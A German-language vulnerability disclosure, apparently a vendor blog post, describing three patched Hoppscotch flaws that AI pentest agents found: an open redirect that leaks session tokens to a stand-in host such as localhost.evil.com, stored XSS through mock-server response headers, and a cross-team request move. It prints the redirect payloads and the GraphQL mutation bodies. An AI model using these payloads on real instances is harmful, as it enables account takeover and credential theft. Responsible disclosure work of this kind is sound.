Einleitung
Hoppscotch ist ein Open-Source-Ökosystem für die API-Entwicklung, ähnlich wie Postman, mit über 100.000 monatlichen Nutzern. Vor zwei Wochen haben wir eine selbst gehostete Instanz eingerichtet und unsere AI-Pentest-Agenten darauf ausgeführt. Sie fanden zwei Schwachstellen mit hohem Schweregrad und eine Schwachstelle mit mittlerem Schweregrad, die alle in Versionen bis einschließlich 2026.2.1 vorhanden und in 2026.3.0 behoben wurden:
- Kontoübernahme via Open Redirect, die es ermöglicht, Authentifizierungstoken an eine bösartige Domain zu exfiltrieren, wodurch ein Angreifer sich als Opfer authentifizieren kann.
- Persistentes XSS via Mock Server, bei dem JavaScript, das über einen Response-Header injiziert wird, im Kontext der Hoppscotch-Anwendung ausgeführt wird, wodurch ein Angreifer Lese- und Schreibzugriff auf alles erhält, was das Opfer sehen kann.
- Eine fehlerhafte Zugriffskontrolle bei der Anforderungsverschiebung, bei der ein Benutzer eines Teams eine Anfrage in die Sammlung eines anderen Teams injizieren kann. Wenn ein Mitglied des Zielteams diese ausführt, können Anmeldeinformationen und API-Schlüssel exfiltriert werden.
Alle drei wurden verantwortungsvoll offengelegt und behoben.
Behebung
Aktualisieren Sie selbst gehostete Instanzen von Hoppscotch auf Version 2026.3.0 oder höher.
Die entdeckten Schwachstellen wurden zur Aikido Intel-Datenbank hinzugefügt:
- https://intel.aikido.dev/cve/AIKIDO-2026-10462
- https://intel.aikido.dev/cve/AIKIDO-2026-10463
- https://intel.aikido.dev/cve/AIKIDO-2026-10461
Open Redirect führt zu Kontoübernahme
Empfehlung: GHSA-7fg7-wx5q-6m3v
CVSS: 8.5 (Hoch)
Affected versions: Hoppscotch <= 2026.2.1
Behobene Versionen: 2026.3.0
Hoppscotch verfügt sowohl über ein Webinterface als auch über eine Desktop-Anwendung. Um die Desktop-Anwendung zu authentifizieren, wird eine URL wie diese im Browser geöffnet:
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token
Die Hoppscotch-Instanz verwendet den redirect_uri-Abfrageparameter, um die Session-Token zu senden. Hier liegt die Schwachstelle. Das Backend hatte die folgende fehlerhafte Validierung der URI:
if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
throwHTTPErr({
…
})
}
Der Code prüft, ob die URI mit http://localhost, berücksichtigt aber nicht, dass bösartige Domains wie http://localhost.evil.com diesen Check ebenfalls bestehen. Wenn ein Opfer also zu:http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token
würde Hoppscotch seine Session-Token an http://localhost.evil.com. Da localhost eine Subdomain des Angreifers evil.com Domain, anstatt zu localhost zu gehen, geht die Anfrage an den Server des Angreifers. Diese Tokens könnten dann verwendet werden, um sich als Opfer zu authentifizieren.
Unsere Agenten fanden das Problem in der Codebasis und verifizierten dies, indem sie einen Listener auf einer öffentlichen IP einrichteten und eine Payload erstellten mit sslip.io. Durch die Verwendung des URI http://localhost.<attacker-ip>.sslip.io/, umging die Payload erfolgreich die startsWith-Prüfung, während der Browser gezwungen wurde, die Adresse auf den Server des Angreifers aufzulösen. Sobald sich das Opfer authentifiziert hatte, wurden die sensiblen Session-Tokens direkt an unseren Listener geleakt, was eine vollständige Account-Übernahme bestätigte.
Der folgende Pull Request behob die Schwachstelle durch die Verwendung eines geeigneten URL-Parsers: https://github.com/hoppscotch/hoppscotch/pull/6012
Gespeichertes XSS über Mock Server
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0
Hoppscotch enthält eine Mock-Server-Funktion, die benutzerdefinierte Antworten von URLs unter /mock/<subdomain>/. Das Backend liefert diese Antworten vom selben Origin wie die Hoppscotch-Anwendung, was bedeutet, dass Cross-Site-Scripting (XSS) im MockServer verwendet werden kann, um Benutzerdaten zu exfiltrieren und zu modifizieren.
Um eine XSS-Payload zu injizieren, umgingen die Aikido KI-Penetrationstests-Agenten UI-Beschränkungen, indem sie eine GraphQL-API-Anfrage sendeten, die den Content-Type Response-Header auf text/html. Dies war über das Frontend nicht möglich.
Beispiel-Request-Body:
{
"query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
"variables": {
"id": "<REQUEST_ID>",
"title": "addPet",
"request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
}
}Der XSS wird ausgelöst, sobald der Benutzer den Mock-API-Endpunkt besucht. Zum Beispiel:
http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus

Um dies zu testen, injizierten KI-Agenten eine console.log-Payload über die GraphQL-API in den Response-Body, wodurch die Content-Type-Beschränkungen der UI effektiv umgangen wurden. Beim Aufrufen des spezifischen Mock-Endpunkts führte der Browser das Skript aus, und die Agenten konnten die protokollierte Ausgabe in der Konsole erfolgreich erfassen.
Der folgende PR behob die Schwachstelle durch Hinzufügen von Sanitization und Sandboxing mit einer Content Security Policy:
https://github.com/hoppscotch/hoppscotch/pull/6006
Zugriffskontrolle: Anfragen in ein anderes Team verschieben
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 6.0 (Mittel)
Affected versions: Hoppscotch <= 2026.2.1
Behobene Versionen: 2026.3.0
Hoppscotch ermöglicht es Benutzern, Anfragen zwischen Collections zu verschieben oder neu anzuordnen, indem sie die moveRequest GraphQL-Mutation verwenden. Agenten entdeckten, dass das Backend die Berechtigungen für die Ziel-Collection nicht ordnungsgemäß validierte, wodurch ein Angreifer seine eigenen Anfragen in eine Collection eines anderen Teams „injizieren“ konnte.
Die Schwachstelle liegt in der Validierungslogik des Backends: Während die Quellanfrage überprüft wird, wird die Überprüfung des Zielteams übersprungen, wenn die nextRequestID auf null. destCollID eines Opferteams angegeben und die nextRequestID leer gelassen wird, kann ein Angreifer eine Anfrage erfolgreich über Mandantengrenzen hinweg verschieben:
{
"operationName": "MoveTeamRequest",
"query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
"variables": {
"req": "<ATTACKER_REQUEST_ID>",
"dest": "<VICTIM_COLLECTION_ID>",
"next": null
}
}
Dies kann zu einer Beeinträchtigung der Vertraulichkeit führen, wenn ein Mitglied des Opferteams unwissentlich die injizierte Anfrage oder die übergeordnete Collection ausführt. Wenn dies geschieht, und Anfragen Autorisierungs-Header erben oder Variablen-Platzhalter für – zum Beispiel – API-Schlüssel enthalten, könnten die sensiblen Daten auf den Server des Angreifers exfiltriert werden.
Nachfolgend sind Spuren der Agenten aufgeführt, die die Schwachstelle identifizieren:
Untersuchung von teamID-Beziehungen - Ich frage mich, ob Anfragen zu Collections verschiedener Teams gehören können, ohne die teamID zu ändern. Dies könnte die Fremdschlüssel-Constraint verletzen, wenn die Collection an ein anderes Team gebunden ist. Das TeamRequest-Modell verbindet Collections wahrscheinlich über die ID, ohne strikt zu erzwingen, dass die teamID mit collection.teamID übereinstimmt. In createTeamRequest wird überprüft, ob die Team-ID übereinstimmt. Wenn jedoch das Verschieben einer Anfrage nur die collectionID aktualisiert, ohne die teamID zu ändern, muss ich das Prisma-Schema überprüfen, um zu klären, wie diese Beziehungen strukturiert sind. Suchen wir das Schema im entsprechenden Verzeichnis.
Identifizierung von Zugriffskontrollproblemen - Mir wird klar, dass der Guard nur prüft, ob ein Benutzer Mitglied des mit der requestID verbundenen Teams ist, und die Berechtigungen für das Team der Ziel-Collection ignoriert. Die moveRequest-Funktion ist durch GqlRequestTeamMemberGuard für Rollen wie Editor oder Owner geschützt, enthält aber keine Prüfungen für GqlCollectionTeamMemberGuard auf destCollID. Das bedeutet, dass ein Editor von Team A eine Anfrage in die Collection von Team B verschieben könnte, ohne Mitglied zu sein, was eine schwerwiegende Zugriffskontroll-Schwachstelle darstellt.
Überprüfung der Request-Verarbeitung - Ich muss mein Verständnis von findRequestAndNextRequest und reorderRequests bestätigen. In findRequestAndNextRequest wird überprüft, ob die Anfrage in srcCollID existiert. Wenn nextRequestID angegeben ist, wird sichergestellt, dass nextRequest zur selben Collection und demselben Team gehört. Wenn nextRequestID jedoch null ist, wird die Überprüfung der Teamzugehörigkeit von destCollID übersprungen.
In reorderRequests wird nach request.teamID für Quell- und Ziel-Collections gesperrt. Wenn destCollID jedoch von einem anderen Team stammt, werden die Updates trotzdem durchgeführt, ohne ordnungsgemäße Teamprüfungen sicherzustellen, was zu Problemen führen könnte.
Der folgende PR behob die Schwachstelle durch Hinzufügen einer Autorisierungsprüfung:
https://github.com/hoppscotch/hoppscotch/pull/6006
Dank an TristanInSec, der die XSS-Schwachstelle ebenfalls unabhängig identifiziert hatte.
Lesen Sie mehr über unsere Forschung im Bereich KI-Penetrationstests:
- SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel
- PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents
Erfahren Sie mehr darüber, wie unsere AI-Penetrationstesting-Agenten funktionieren:
- Wie wir unsere AI-Agenten von Grund auf sicher gestalten
- Wie sich autonomes Penetrationstesting im Vergleich zu manuellem Penetrationstesting verhält

